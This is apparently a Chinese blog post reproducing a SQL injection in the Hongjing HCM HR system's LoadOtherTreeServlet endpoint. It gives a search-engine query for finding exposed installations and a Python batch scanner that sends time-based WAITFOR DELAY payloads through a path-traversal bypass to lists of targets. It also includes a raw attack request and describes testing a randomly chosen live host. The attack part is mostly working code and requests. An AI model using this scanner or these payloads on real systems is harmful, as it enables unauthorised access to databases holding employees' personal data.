【漏洞复现】宏景HCM-LoadOtherTreeServlet SQL注入

声明:本文档或演示材料仅用于教育和教学目的。如果任何个人或组织利用本文档中的信息进行非法活动,将与本文档的作者或发布者无关。

一、漏洞描述

宏景HCM人力资源信息管理系统是一个全面的人力资源管理软件,它覆盖了人力资源管理的各个模块。该系统旨在帮助企事业单位建立高效的组织,促进组织的健康发展,并增强组织的软实力。然而,该系统的LoadOtherTreeServlet接口存在安全问题,因为它没有对传入的数据进行预编译和充分的验证,这导致了SQL注入漏洞的存在。

二、资产收集

1.使用网络空间测绘引擎搜索

**鹰图检索:**app.name="宏景 HCM"

2.使用poc批量扫描

python 复制代码
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning

RED = '\033[91m'  # 定义红色字体的ANSI转义码
RESET = '\033[0m'  # 定义重置颜色的ANSI转义码
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
    try:
        # 构造完整的攻击URL
        attack_url = url.rstrip('/') + "/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1"
        attack_payload = """usertable=h00&usernumber=1&i9999=-1';WAITFOR+DELAY+'0:0:6'--+"""

        headers = {
            'Content-Type': 'application/x-www-form-urlencoded'
        }

        start_time = time.time()  # 记录开始时间
        response = requests.post(attack_url, headers=headers, data=attack_payload, verify=False, timeout=10)  # 发送POST请求
        elapsed_time = time.time() - start_time  # 计算请求耗时

        if 4 < elapsed_time < 6:  # 如果耗时在4到6秒之间,可能存在漏洞
            print(f"{RED}URL [{url}] 可能存在宏景HCM-LoadOtherTreeServlet-sql注入漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except requests.exceptions.Timeout:  # 捕获超时异常
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    except requests.RequestException as e:  # 捕获其他请求异常
        print(f"URL [{url}] 请求失败: {e}")

def main():
    parser = argparse.ArgumentParser(description='检测目标地址是否宏景HCM-LoadOtherTreeServlet-sql注入漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    args = parser.parse_args()

    if args.url:  # 如果提供了单个URL参数
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    elif args.file:  # 如果提供了包含多个URL的文件参数
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

cmd运行:python poc.py -f url.txt

随机寻找的幸运儿

三、漏洞复现

1.构造数据包

html 复制代码
GET /w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close

2.数据包分析

  1. 请求方法:GET
  2. 请求路径:/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1
  3. HTTP版本:HTTP/1.1
  4. Host头:ip(目标服务器的IP地址)
  5. User-Agent头:Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0(表示客户端使用的浏览器和操作系统信息)
  6. Accept头:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8(表示客户端接受的内容类型及其优先级)
  7. Accept-Language头:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2(表示客户端接受的语言及其优先级)
  8. Accept-Encoding头:gzip, deflate, br(表示客户端接受的编码方式)
  9. Connection头:close(表示请求完成后关闭连接)

/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet,在解码后,URL路径变为:/w_selfservice/oauthservlet/././gz/LoadOtherTreeServlet

请求还包含以下参数:

  • modelflag=4:可能是用于指定某种模式或配置的标志。
  • budget_id=1)WAITFOR+DELAY+'0:0:4'--&flag=1:其中budget_id的值被设置为1,后面跟着一段SQL语句(WAITFOR DELAY '0:0:4'),如果SQL语句被正常执行则延时4秒

3.结束跑路

执行成功,延时1秒。

执行成功,延时4秒。

**每篇一言:**风月折断杨柳枝,琴瑟朝露挥掷成诗。

相关推荐
H Journey1 小时前
网络编程-创建SOCKET套接字
网络·socket
一袋米扛几楼982 小时前
【高级网络】虚拟化与云计算 (Virtualization & Cloud) 深度解析
网络·网络工程
视觉&物联智能2 小时前
【杂谈】-人工智能风险文化对组织决策的深远影响
人工智能·安全·ai·agi
杨云龙UP3 小时前
SQL Server2022部署:Windows Server 2016下安装、SSMS配置、备份还原与1433端口放通全流程_20260508
运维·服务器·数据库·sql·sqlserver·2022
cczixun3 小时前
OpenAI连发GPT-5.5系列:免费版幻觉大降,安全版能力飙升,千亿融资估值直冲8520亿美元
人工智能·gpt·安全
wdfk_prog4 小时前
正常关闭虚拟机时,不要点“关机”,而要点“关闭客户机”
linux·c语言·网络·ide·vscode
墨染天姬5 小时前
【AI】cursor提示词小技巧
前端·数据库·人工智能
古月-一个C++方向的小白5 小时前
MySQL数据库——数据类型
android·数据库·mysql
qq_413502026 小时前
如何创建CDB公共用户_C##前缀强制规则与CONTAINER=ALL
jvm·数据库·python